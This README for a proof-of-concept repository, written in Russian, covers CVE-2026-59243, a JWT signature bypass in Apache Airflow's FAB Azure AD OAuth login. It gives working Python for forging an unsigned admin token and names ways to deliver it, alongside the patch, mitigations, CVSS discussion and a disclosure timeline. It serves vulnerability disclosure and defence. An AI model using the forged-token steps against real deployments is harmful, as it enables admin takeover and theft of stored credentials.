
Концепт-доказательство для CVE-2026-59243, демонстрирующее обход проверки подписи JWT в OAuth-обратном вызове Azure AD в FAB Auth Manager Apache Airflow из-за небезопасной настройки по умолчанию.
Корейский: README.ko.md
apache-airflow-providers-fab==3.7.3FAB (Flask App Builder) Auth Manager в Apache Airflow декодирует id_tokens Azure AD OAuth в _decode_and_validate_azure_jwt(). В этой функции параметр verify_signature по умолчанию имел значение False.
# providers/fab/.../override.py (строки 2331–2341 на момент отчёта)
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # ← по умолчанию False
)
if verify_signature:
# проверка JWK через authlib, возврат claims
...
# путь по умолчанию: проверка подписи полностью пропускается
return jwt.decode(id_token, options={"verify_signature": False})
Если оператор явно не задаёт verify_signature: true в client_kwargs, проверка подписи отключена для всего процесса входа. Какие бы токены ни приходили, их claims принимаются как личность вызывающего.
Интеграция Authentik в том же файле по умолчанию использует True:
# providers/fab/.../override.py:414–416 (Authentik)
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # ← здесь по умолчанию True
)
Тот же файл, та же структура, противоположное значение по умолчанию. Именно этот контраст первым натолкнул меня на мысль, что значение по умолчанию для Azure — не осознанное проектное решение.
Предположим, Airflow развёрнут с FAB Auth Manager + Azure AD OAuth, client_kwargs не изменён. (Установка по умолчанию.)
Создайте JWT с alg: none и любыми нужными claims:
import base64, json
def b64u(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # завершающая точка: пустая подпись
Доставьте этот токен в OAuth callback (/login/azure/authorized или туда, где смонтирована интеграция). Способ доставки зависит от развёртывания: MITM через неправильно настроенный TLS-терминирующий прокси, открытый редиректор с нестрогой проверкой redirect_uri или прямой вызов callback с подделанным state. Выбирайте то, что доступно на целевой системе.
Как только токен достигает callback, FAB вызывает _decode_and_validate_azure_jwt, попадает в путь по умолчанию и передаёт подделанные claims в сессию. Поскольку вы отправили roles: ["Admin"], вы теперь вошли как администратор. В Airflow это фактически означает всё: Connections, Variables, ключ Fernet и произвольное выполнение кода от имени worker'а путём загрузки нового DAG.
Три разные оценки оказались в трёх разных местах, что само по себе показательно:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:LумереннаяРазница между моей оценкой и NVD — одна метрика: AC. Я поставил H, поскольку рассматривал путь доставки через MITM узко. Аналитик NVD выбрал AC:L, считая любой способ доставки id_token в callback (включая обычное злоупотребление OAuth-потоком) обычной возможностью атакующего. По зрелому размышлению, AC:L — более обоснованное прочтение: вам не обязательно находиться на пути трафика, чтобы воспользоваться сломанной проверкой подписи. Именно поэтому NVD/Strix дают 9.8, и именно эта оценка появится в большинстве баз CVE и сканеров.
Оценка Apache умеренная — отдельное суждение в рамках их собственной модели риска, смещённое скорее в сторону «насколько часто это предусловие возникает в реальных развёртываниях», чем в сторону верхней границы воздействия. Это не противоречит 9.8 — просто отвечает на другой вопрос.
Один символ.
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
Значение по умолчанию для Azure приведено в соответствие с Authentik. Если кому-то действительно нужно отключить проверку подписи (например, самоподписанный JWKS в локальной реплике Azure AD), он всё ещё может явно указать verify_signature: false в client_kwargs. Это гораздо лучше, чем поставлять небезопасное поведение по умолчанию.
Изменение объединено 2026-07-07 как PR #69374 / коммит 54259ae. Выпущено в apache-airflow-providers-fab==3.7.3 2026-07-28.
Если вы не можете обновиться немедленно, задайте это явно в webserver_config.py:
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
Кроме того: держите OAuth callback'и только по HTTPS со строгим allow-листом redirect_uri и ротируйте любые учётные данные, хранящиеся в Airflow Connections, если есть основания полагать, что вы пострадали.
Docker + pwntools в poc/:
poc/server.py изолирует уязвимый путь (jwt.decode(..., options={"verify_signature": False})) в миниатюрном Flask-приложении.poc/exploit_airflow_jwt.py создаёт поддельный JWT, обращается к callback и выгружает тестовые секреты из представления администратора.poc/Dockerfile и poc/docker-compose.yml поднимают цель на 127.0.0.1:5002 (привязка к loopback).Одна команда:
cd poc/
./run.sh
Если вы запускаете это на общей машине, проверьте привязку compose перед запуском.
Не связанные с уязвимостью рефакторинги сдвинули номера строк между первоначальным отчётом и текущим main. Путь к файлу не изменился.
Файл: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py
CVE-2026-59243/
├── README.md (этот файл)
├── README.ko.md Корейская версия
├── LICENSE MIT
├── check_advisory.sh наблюдатель за публикациями (сохранён для повторного использования; в настоящее время неактивен)
├── patch/fix.diff исправление в один символ (привязано к строкам на момент отчёта)
└── poc/ PoC на Docker + pwntools
[email protected]MIT (LICENSE). PoC предназначен только для воспроизведения и защитных исследований. Не направляйте его на системы, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения.
| Символ | На момент отчёта (2026-03-18) | В исправленном main (2026-07-29) |
|---|
_decode_and_validate_azure_jwt() | 2331–2341 (по умолчанию False, уязвимо) | 2428–2438 (по умолчанию True, исправлено) |
_get_authentik_token_info() | 414–416 (по умолчанию True, безопасно) | 419–420 (по умолчанию True, безопасно) |
| Дата | Событие |
|---|
| 2026-03-18 | Отчёт отправлен на [email protected] |
| 2026-03 по 2026-07 | Задержка со стороны Apache; позже член PMC Airflow подтвердил, что первоначальный отчёт был пропущен |
| 2026-07-03 | Первый ответ |
| 2026-07-04 | Присвоен CVE-2026-59243, отправлена информация об авторстве |
| 2026-07-07 | Исправление объединено (коммит 54259ae, PR #69374) |
| 2026-07-28 | Выпущен apache-airflow-providers-fab==3.7.3 |
| 2026-07-29 | Запись CVE в MITRE PUBLISHED, уведомление Apache опубликовано на [email protected] |
| 2026-07-29 | Этот репозиторий переведён в публичный доступ |